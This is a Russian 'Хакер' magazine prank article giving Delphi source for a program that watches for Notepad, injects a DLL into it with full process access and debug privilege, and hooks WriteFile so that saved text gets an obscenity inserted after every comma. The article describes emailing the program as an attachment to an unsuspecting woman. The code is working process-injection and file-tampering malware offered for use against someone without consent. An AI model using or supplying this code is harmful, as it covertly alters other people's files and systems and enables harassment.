Новогоднее западло BUG(O)R Хакер, номер #096, стр. 096-088-2 Пока я писал этот текст, по моей щеке катилась скупая мужская слеза - стало жалко парня, над которым мы собираемся постебаться :). Но что делать - жизнь суровая штука. Поэтому идем за пивом, включаем мозг и пишем гениальную программу для укрощения блокнота. Технику перехвата мы уже освоили в прошлом номере, поэтому сейчас нам надо определиться только с одним вопросом: «Откуда мы узнаем, что процесс notepad.exe запущен и мы сможем в него внедриться?» Есть вариант с инжектом во все процессы и перехватом функции ZwCreateProcess, но при таком способе от нашего прикола будет очень непросто избавиться, и это перерастет из простой забавы в настоящее вредительство для пользователя. Мы же - народ мирный, поэтому решаем пойти другим путем. Каждые n секунд будем искать окно с классом «Notepad» и, в случае успешного поиска, проверим, загружена ли наша библиотека в адресное пространство этого процесса. Если не загружена, то будем подгружать ее, а она в свою очередь сделает небольшую пакость :). Вот так будет выглядеть код проекта, следящего за процессом (полный исходник ты можешь взять на диске): Код незамысловатой следилки var hWnd, PID, pHandle:dword; //Функция для проверки наличия модуля main.dll //в адресном пространстве чужого процесса. function IsModuleLoaded(lpPID: dword): boolean; var hSnapshot: dword; Module: TMODULEENTRY32; begin Result := TRUE; Module.dwSize := sizeof(MODULEENTRY32); hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,lpPID); Module32First(hSnapshot, Module); repeat if pos('main.dll', Module.szModule) > 0 then begin Result := FALSE; exit; end; until not Module32Next(hSnapshot, Module); end; begin while TRUE do begin //Запущен ли блокнот? hWnd := FindWindow('Notepad', nil); if hWnd <> 0 then begin //Запущен. Получаем PID процесса. GetWindowThreadProcessId(hWnd, PID); //Включаем нужные привилегии, может не понадобиться, но если в системе //недостаточно прав, то нужно вызывать. EnableDebugPrivilegeEx(INVALID_HANDLE_VALUE); pHandle := OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); //Модуль main.dll уже загружен в адресное пространство процесса? if IsModuleLoaded(PID) then //Нет? Значит, инжектим его. InjectDll(pHandle, pChar(extractfilepath(paramstr(0)) + '\main.dll')); end; Sleep(3000); end; end. Вот, как видишь, программа каждые 3 секунды ищет запущенный notepad.exe, проверяет в нем наличие модуля main.dll и, если таковой отсутствует, инжектирует его в процесс. Далее привожу самое интересное место main.dll (весь код лежит на диске): Заподлянская функция замены function NWriteFile (hFile: THandle; const Buffer; nNumberOfBytesToWrite: DWORD; var lpNumberOfBytesWritten: DWORD; lpOverlapped: POverlapped): BOOL; stdcall; begin asm pushad end; NewBuffer := StringReplace(pChar(@Buffer), ',' , ', б#я', [ rfReplaceAll, rfIgnoreCase ]); // Формируем новую строку asm // Подмена указателя mov ebx, [NewBuffer] mov Buffer, ebx popad end; TWriteFile(hFile, Buffer, length(pChar(@Buffer)), lpNumberOfBytesWritten, lpOverlapped); end; Ну вот, с первым новогодним подарочком мы определились. Настало время представить последствия такого западла. Я знаю, это трудно, но поставь себя на место юной красавицы Леночки, которая январским утром (поверь, она не будет сидеть за компом в новогоднюю ночь :)) проверила свою почту и нашла в аттаче наше замечательное поздравление, (которое, кстати, ты без цензуры можешь лицезреть на скриншоте). Будь я Леночкой, убил бы за такое :). |